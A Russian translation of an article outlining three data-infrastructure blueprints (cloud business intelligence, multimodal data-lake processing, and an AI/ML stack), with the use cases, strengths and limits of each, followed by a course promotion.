Здесь мы предоставим обзор трех обобщенных схем. Мы начнем схемы современной бизнес-аналитики, которая фокусируется на облачных хранилищах данных и аналитических вариантах использования. Во второй схеме мы рассматриваем мультимодальную обработку данных, охватывая как аналитические, так и оперативные варианты использования, построенные на основе озера данных. В окончательной схеме мы подробно рассмотрим оперативные системы и новые компоненты AI и ML стека.

Три обобщенных схемы

Схема 1: современная бизнес-аналитика

Облачно-ориентированная бизнес-аналитика для компаний любого размера - простая в использовании, недорогая для начала работы и более масштабируемая, чем предыдущие модели хранилищ данных.

Перейдите сюда, чтобы просмотреть версию в высоком разрешении.

Эта схема постепенно становится вариантом по умолчанию для компаний с относительно небольшими командами и бюджетами. Предприятия также все чаще переходят с устаревших хранилищ данных на эту схему, пользуясь преимуществами гибкости и масштабируемости облака.

Основные варианты использования включают отчеты, дашборды и специальный анализ, в основном с использованием SQL (и некоторого количества Python) для анализа структурированных данных.

К сильным сторонам этой модели относятся низкие первоначальные инвестиции, скорость и простота начала работы, а также широкая доступность кадров. Этот план менее приемлем для команд, у которых есть более сложные потребности в данных, включая обширную data science, машинное обучение или приложения для потоковой передачи / с низкой задержкой.

Схема 2: мультимодальная обработка данных

Новейшие озера данных, поддерживающие как аналитические, так и оперативные варианты использования, также известные как современная инфраструктура для Hadoop-беженцев

Перейдите сюда, чтобы просмотреть версию в высоком разрешении.

Эта модель наиболее часто встречается на крупных предприятиях и технологических компаний с сложными, высокотехнологичными потребностями в обработке данных.

Сценарии использования включают в себя как бизнес-аналитику, так и более продвинутые функции, включая оперативный AI/ML, аналитику, чувствительную к потоковой передаче / задержке, крупномасштабные преобразования данных и обработку различных типов данных (включая текст, изображения и видео) с использованием целого набора языков (Java/Scala, Python, SQL).

Сильные стороны этого шаблона включают гибкость для поддержки разнообразных приложений, инструментальных средств, определяемых пользователем функций и контекстов развертывания, а также преимущество в стоимости на больших наборах данных. Этот план менее приемлем для компаний, которые только хотят начать работу или имеют небольшие команды обработки данных - его поддержание требует значительных временных, денежных затрат и опыта.

Схема 3: Искусственный интеллект и машинное обучение.

Совершенно новый, еще развивающийся стек для поддержки надежной разработки, тестирования и эксплуатации моделей машинного обучения.

Перейдите сюда, чтобы просмотреть версию в высоком разрешении.

Большинство компаний, занимающихся машинным обучением, уже используют некоторую часть технологий из этого шаблона. Серьезные специалисты по машинному обучению часто реализуют полную схему, полагаясь на собственные разработки в качестве недостающих инструментов.

Основные варианты использования сосредоточены на возможностях работы с данными как для внутренних, так и для клиентских приложений - запускаемых либо онлайн (т. е. в ответ на ввод данных пользователем), либо в пакетном режиме.

Сильной стороной этого подхода, в отличие от готовых решений машинного обучения, является полный контроль над процессом разработки, создание большей ценности для пользователей и формирование ИИ / машинного обучения как основного долгосрочного ресурса. Этот план менее приемлем для компаний, которые только тестируют машинное обучение, используют его для менее масштабных, внутренних вариантов использования или тех, кто предпочитает полагаться на вендоров - масштабное машинное обучение сегодня является одной из самых сложных задач обработки данных.

Смотря в будущее

Инфраструктура данных претерпевает быстрые фундаментальные изменения на архитектурном уровне. Создание современного стека данных включает в себя разнообразный и постоянно растущий набор вариантов. И сделать правильный выбор сейчас важнее, чем когда-либо, поскольку мы продолжаем переходить от программного обеспечения, основанного исключительно на коде, к системам, которые объединяют код и данные для обеспечения ценности. Эффективные возможности обработки данных теперь являются главной ставкой для компаний во всех секторах, и выигрыш в данных может обеспечить твердое конкурентное преимущество.

Мы надеемся, что эта статья послужит ориентиром, который поможет организациям, работающим с данными, понять текущее состояние дел, реализовать архитектуру, которая наилучшим образом соответствует потребностям их бизнеса, и спланировать будущее в условиях непрекращающейся эволюции в этой сфере.


Перевод подготовлен в рамках онлайн-курса "Data Engineer".

Смотреть вебинар Введение в MPP-базы данных на примере ClickHouse.

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru